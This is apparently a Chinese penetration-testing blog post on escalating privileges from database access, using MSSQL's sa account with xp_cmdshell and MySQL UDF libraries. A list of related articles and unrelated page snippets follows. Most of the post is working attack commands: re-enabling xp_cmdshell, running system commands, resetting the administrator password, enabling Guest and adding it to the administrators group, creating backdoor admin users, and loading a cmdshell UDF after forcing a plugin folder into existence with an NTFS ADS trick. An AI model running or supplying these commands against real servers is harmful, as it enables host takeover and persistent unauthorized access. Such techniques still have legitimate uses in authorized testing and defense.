日期:2018-04-03 11:46:45
作者:Bay0net
介绍:利用 mssql 的 sa 账号提权、利用 MySQL 的 UDF 提权


0x01、mssql 提权

恢复 xp_cmdshell

几个命令

# 查看是否存在 xp_cmdshell(返回非 0 即存在)
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'; # 不存在的话可以添加
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'; # 查看是否开启了 xp_cmdshell(试试命令是否能成功)
Exec master..xp_cmdshell 'whoami';

命令执行

利用 sa 连接到服务器,然后执行命令

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

提示成功

然后利用 sqltools 直接执行命令。

也可以用 SQL 语句来执行命令,三种方式,一般都喜欢用第二种。

exec xp_cmdshell 'command';
exec master..xp_cmdshell 'command';
exec master.dbo.xp_cmdshell 'command';

修改 administrators 的密码,比较方便

exec xp_cmdshell 'net user administrator test123...';

修改 Guest 的权限

exec xp_cmdshell 'net user Guest test123...';
exec xp_cmdshell 'net user Guest /active:yes';
exec xp_cmdshell 'net localgroup administrators Guest /add';

新建用户

exec master..xp_cmdshell 'net user test test123... /add';
exec master..xp_cmdshell 'net localgroup administrators test /add';

0x02、MySQL 提权

上传 UDF

这一步和 MySQL 的版本有关系,不同版本上传的路径不一样,没有 lib 文件的话需要新建。

# 版本小于 5.1,上传到系统目录下
C:\\WINDOWS\\udf.dll
C:\\WINDOWS\\system32\\udf.dll # 版本大于 5.1,上传到安装目录下
%mysql%\\plugin\\udf.dll # 查询路径,后面加 udf.dll 即可
select @@plugin_dir # 常用
# 查询用户
select user() # 查询数据库版本
select version() # 查询当前操作系统
select @@version_compile_os # 查询读取数据库路径
select @@datadir # 查询MYSQL安装路径
select @@basedir # 查询 plugin 的路径
select @@plugin_dir

命令执行

Create Function cmdshell returns string soname 'udf.dll';
select cmdshell('ipconfig');
drop function cmdshell;
delete from mysql.func where name='cmdshell'

可以直接 UDF 提权工具搞,新建用户然后直接 3389 即可。

利用 NTFS ADS 写文件

使用 NTFS ADS 流创建 lib、plugin 文件夹:

如果遇到 Can't open shared library 的情况,

就需要把 udf.dll 导出到 lib\plugin 目录下才可以,但是默认情况下 plugin 不存在,就利用 NTFS ADS 流来创建文件夹。

select @@basedir;   //查找mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //使用NTFS ADS流创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS再次创建plugin目录
执行成功以后再进行导出即可。

【汇总】数据库提权(mysql、mssql)的更多相关文章

  1. MySQL数据库提权(一)

    一.获取Mysql登录账号和密码 1.数据库提权需要知道数据库的账号密码.以及它的配置文件,一般配置文件都在网站的根目录下,这些配置文件命名有鲜明的特征,如:conn.config.data.sql. ...

  2. mssql数据库提权(xp_cmdshell)

    1.关于 "xp_cmdshell" "存储过程":其实质就是一个"集合",那么是什么样的结合呢,就是存储在SqlServer中预先定义好的 ...

  3. [提权]mysql中的UDF提权

    由于udf提权是需要构造UDF函数文件的,涉及到了写文件.所以本次实验已经将mysql的配置做了改动:–secure-file-priv=''. 剧情须知: secure_file_priv 为 NU ...

  4. Oracle数据库提权(dba权限执行系统命令)

    0x01 提权准备 这里我们先创建一个低权限的用户test SQL> conn sys/admin123@orcl as sysdba; 已连接. SQL> create user tes ...

  5. Oracle数据库提权(低权限提升至dba)

    0x01 Oracle存储过程”缺陷” 在 Oracle 的存储过程中,有一个有趣的特点:运行权限.运行权限分为两种,definer 和 invoker. definer 为函数创建者的权限,而 in ...

  6. Oracle数据库提权

    一.执行java代码 简介 oracle提权漏洞集中存在于PL/SQL编写的函数.存储过程.包.触发器中.oracle存在提权漏洞的一个重要原因是PL/SQL定义的两种调用权限导致(定义者权限和调用者 ...

  7. (数据库提权——Redis)Redis未授权访问漏洞总结

    一.介绍 1.Redis数据库 Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key- ...

  8. mssql数据库提权

    1.关于 “xp_cmdshell” “存储过程”:其实质就是一个“集合”,那么是什么样的结合呢,就是存储在SqlServer中预先定义好的“SQL语句集合”,说的更直白一些就是使用T-SQL语言编写 ...

  9. 【技巧总结】Penetration Test Engineer[5]-Operating System Security(SQL Server、MySQL提权)

    4.数据库安全基础 4.1.MSSQL 数据库角色权限 sysadmin:执行SQL Server中的任何动作 db_owner:可以执行数据库中技术所有动作的用户 public:数据库的每个合法用户 ...

随机推荐

  1. Centos7下rc.local文件开机不执行…

    在Centos7下,rc.local文件,开机默认是不执行的 /etc/rc.local链接的是  /etc/rc.d/rc.local文件,该文件默认不开机启动,官方建议添加一个service来实现 ...

  2. 从零开始学会GAN 0:第一部分 介绍生成式深度学习(连载中)

    本书的前四章旨在介绍开始构建生成式深度学习模型所需的核心技术.在第1章中,我们将首先对生成式建模领域进行广泛的研究,并从概率的角度考虑我们试图解决的问题类型.然后,我们将探讨我们的基本概率生成模型的第 ...

  3. 延长zencart1.5.x后台的15分钟登录时间和取消90天强制更换密码

    延长zencart1.5.x后台的15分钟登录时间 打开includes\functions\sessions.php if (IS_ADMIN_FLAG === true) { if (!$SESS ...

  4. 第七章 路由 70 路由-vue-router的基本使用

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8&quo ...

  5. Practical, Dynamic Visibility for Games(可实现动态显示技术)

    Practical, Dynamic Visibility for Games(可实现动态显示技术) 原文地址 1引言 游戏场景越来越复杂,包含的内容越来越多,动态显示技术很需要. 本文介绍2种互补的 ...

  6. C# 数据类型转化为byte数组

    short数据与byte数组互转 public byte[] ShortToByte(short value) { return BitConverter.GetBytes(value); } pub ...

  7. js设置日期格式

    取数据时后台返回的日期数据是一串数字,前台显示时需要将时间格式化,通过以下代码转换. var format = function(time, format){    var t = new Date( ...

  8. 前端Web浏览器基于Flash如何实时播放监控视频画面(二)之Windows搭建(RTMP)流媒体服务器

    本片文章只是起到抛砖引玉的作用,能从头到尾走通就行,并不做深入研究.为了让文章通俗易懂,尽量使用白话描述. 0x001: 获取 流媒体服务器有很多,这里以nginx为例. nginx for Wind ...

  9. luogu 1072 Hankson 的趣味题 唯一分解定理+线性筛

    貌似是比大多数题解优的 $O(n^2logn)$ ~ Code: #include <bits/stdc++.h> #define N 50004 #define setIO(s) fre ...

  10. Shell登陆

    Shell登录信息 注:只对本地终端起作用,远程终端不起作用(也就是说这个文件对远程登录是无效的). 修改后: 输出: 注:这里在配置文件中添加\l之后会显示终端(这里为终端1),按住Alt+F2可以 ...